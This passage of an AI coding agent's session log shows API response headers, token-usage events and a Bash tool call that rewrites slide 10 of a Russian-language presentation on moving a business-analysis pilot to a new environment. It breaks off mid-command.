\"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:43.531Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.535Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:43.538Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:43.541Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:43.543Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:43.547Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:43.550Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:43.554Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:43.560Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.563Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:43.566Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:43.569Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:43.572Z] [STDOUT]     \"cf-ray\": \"a429677b79ca01ff-CDG\",\n[2026-09-29T07:51:43.576Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:43.580Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:43.582Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:43.586Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:43.589Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:43 GMT\",\n[2026-09-29T07:51:43.592Z] [STDOUT]     \"request-id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:43.595Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:43.599Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:43.601Z] [STDOUT]     traceresponse: \"00-e9ddc14e7cbf3898949854395efb1529-5c331f60edd09010-01\",\n[2026-09-29T07:51:43.603Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:43.606Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:43.608Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:43.611Z] [STDOUT]   },\n[2026-09-29T07:51:43.613Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:51:43.615Z] [STDOUT] }\n[2026-09-29T07:51:43.618Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:43.622Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:43 GMT\",\n[2026-09-29T07:51:43.625Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:43.627Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:43.630Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:43.634Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:43.640Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:43.644Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:43.647Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:43.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:43.655Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:43.660Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:43.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:43.668Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:43.673Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:43.677Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:43.685Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:43.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.694Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:43.697Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:43.699Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:43.704Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:43.707Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.710Z] [STDOUT]   \"request-id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:43.713Z] [STDOUT]   \"traceresponse\": \"00-e9ddc14e7cbf3898949854395efb1529-5c331f60edd09010-01\",\n[2026-09-29T07:51:43.716Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:43.720Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:43.723Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:43.728Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:43.733Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:43.737Z] [STDOUT]   \"cf-ray\": \"a429677b79ca01ff-CDG\",\n[2026-09-29T07:51:43.740Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:43.743Z] [STDOUT] [log_d9936f] response parsed {\n[2026-09-29T07:51:43.745Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:43.748Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:43.753Z] [STDOUT]   body: X {\n[2026-09-29T07:51:43.755Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:43.759Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:43.763Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:43.765Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:43.768Z] [STDOUT]     },\n[2026-09-29T07:51:43.772Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:43.777Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:43.780Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:43.785Z] [STDOUT]   },\n[2026-09-29T07:51:43.787Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:51:43.792Z] [STDOUT] }\n[2026-09-29T07:51:44.023Z] [INFO] {\n[2026-09-29T07:51:44.023Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:44.023Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:44.023Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"uuid\": \"7e5e0d7b-3ae7-4009-bda5-33f49e1f9541\"\n[2026-09-29T07:51:44.023Z] [INFO] }\n[2026-09-29T07:51:45.095Z] [INFO] {\n[2026-09-29T07:51:45.095Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:51:45.095Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:45.095Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"uuid\": \"f31a0af0-84e4-4945-b4b2-0e3d265ad0ab\"\n[2026-09-29T07:51:45.095Z] [INFO] }\n[2026-09-29T07:51:46.626Z] [INFO] {\n[2026-09-29T07:51:46.626Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:51:46.626Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:46.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"uuid\": \"4f4a8a6c-1100-4aa1-852d-d6b195726d18\"\n[2026-09-29T07:51:46.626Z] [INFO] }\n[2026-09-29T07:51:47.175Z] [INFO] {\n[2026-09-29T07:51:47.175Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"estimated_tokens\": 448,\n[2026-09-29T07:51:47.175Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:47.175Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"uuid\": \"b1ed42f6-1237-4658-9485-4a10995ef04d\"\n[2026-09-29T07:51:47.175Z] [INFO] }\n[2026-09-29T07:51:47.180Z] [INFO] {\n[2026-09-29T07:51:47.180Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"message\": {\n[2026-09-29T07:51:47.180Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"content\": [\n[2026-09-29T07:51:47.180Z] [INFO]       {\n[2026-09-29T07:51:47.180Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:47.180Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:47.180Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:51:47.180Z] [INFO]     ],\n[2026-09-29T07:51:47.180Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:47.180Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:47.180Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:47.180Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:47.180Z] [INFO]       },\n[2026-09-29T07:51:47.180Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:47.180Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:47.180Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:47.180Z] [INFO]     },\n[2026-09-29T07:51:47.180Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:47.180Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:47.180Z] [INFO]   },\n[2026-09-29T07:51:47.180Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:47.180Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"uuid\": \"9dc46d4b-c9ad-4918-8571-b975f8e0460a\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:47.173Z\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"request_id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\"\n[2026-09-29T07:51:47.180Z] [INFO] }\n[2026-09-29T07:51:47.190Z] [INFO] {\n[2026-09-29T07:51:47.190Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"message\": {\n[2026-09-29T07:51:47.190Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"content\": [\n[2026-09-29T07:51:47.190Z] [INFO]       {\n[2026-09-29T07:51:47.190Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:51:47.190Z] [INFO]         \"text\": \"Writing the final wording for slide 10 based on backlog items B-211\u2026B-218. After that I'll write the speaker script.\"\n[2026-09-29T07:51:47.190Z] [INFO]       }\n[2026-09-29T07:51:47.190Z] [INFO]     ],\n[2026-09-29T07:51:47.190Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:47.190Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:47.190Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:47.190Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:47.190Z] [INFO]       },\n[2026-09-29T07:51:47.190Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:47.190Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:47.190Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:47.190Z] [INFO]     },\n[2026-09-29T07:51:47.190Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:47.190Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:47.190Z] [INFO]   },\n[2026-09-29T07:51:47.190Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:47.190Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"uuid\": \"ba26674a-10cc-440a-a801-2d9b954666a9\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:47.176Z\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"request_id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\"\n[2026-09-29T07:51:47.190Z] [INFO] }\n[2026-09-29T07:51:53.532Z] [INFO] {\n[2026-09-29T07:51:53.532Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"message\": {\n[2026-09-29T07:51:53.532Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"content\": [\n[2026-09-29T07:51:53.532Z] [INFO]       {\n[2026-09-29T07:51:53.532Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"id\": \"toolu_019SzcFbLV2CvVpfPyDCRMBL\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"input\": {\n[2026-09-29T07:51:53.532Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=s.index(\\\"## \u0421\u043b\u0430\u0439\u0434 10.\\\")\\nb=s.index(\\\"> **\u0417\u0430\u043f\u0440\u043e\u0441:**\\\")\\ns=s[:a]+\\\"\\\"\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n\\\"\\\"\\\"+s[b:]\\ns=s.replace(\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\\n[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\\\"\\\"\\\")\\ns=s.replace(\\\"| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\\",\\\"| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0421\u043b\u0430\u0439\u0434 10\\\" -A22 2026-09-29-meta-model-presentation-slides.md | head -30\",\n[2026-09-29T07:51:53.532Z] [INFO]           \"description\": \"Rewrite slide 10 accurately\"\n[2026-09-29T07:51:53.532Z] [INFO]         },\n[2026-09-29T07:51:53.532Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:53.532Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:53.532Z] [INFO]         }\n[2026-09-29T07:51:53.532Z] [INFO]       }\n[2026-09-29T07:51:53.532Z] [INFO]     ],\n[2026-09-29T07:51:53.532Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:53.532Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:53.532Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:53.532Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:53.532Z] [INFO]       },\n[2026-09-29T07:51:53.532Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:53.532Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:53.532Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:53.532Z] [INFO]     },\n[2026-09-29T07:51:53.532Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:53.532Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:53.532Z] [INFO]   },\n[2026-09-29T07:51:53.532Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:53.532Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"uuid\": \"753fc19e-fa09-467d-a8f4-46b781e5e095\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:53.516Z\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"request_id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:53.532Z] [INFO]     \"toolu_019SzcFbLV2CvVpfPyDCRMBL\": {\n[2026-09-29T07:51:53.532Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=s.index(\\\"## \u0421\u043b\u0430\u0439\u0434 10.\\\")\\nb=s.index(\\\"> **\u0417\u0430\u043f\u0440\u043e\u0441:**\\\")\\ns=s[:a]+\\\"\\\"\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 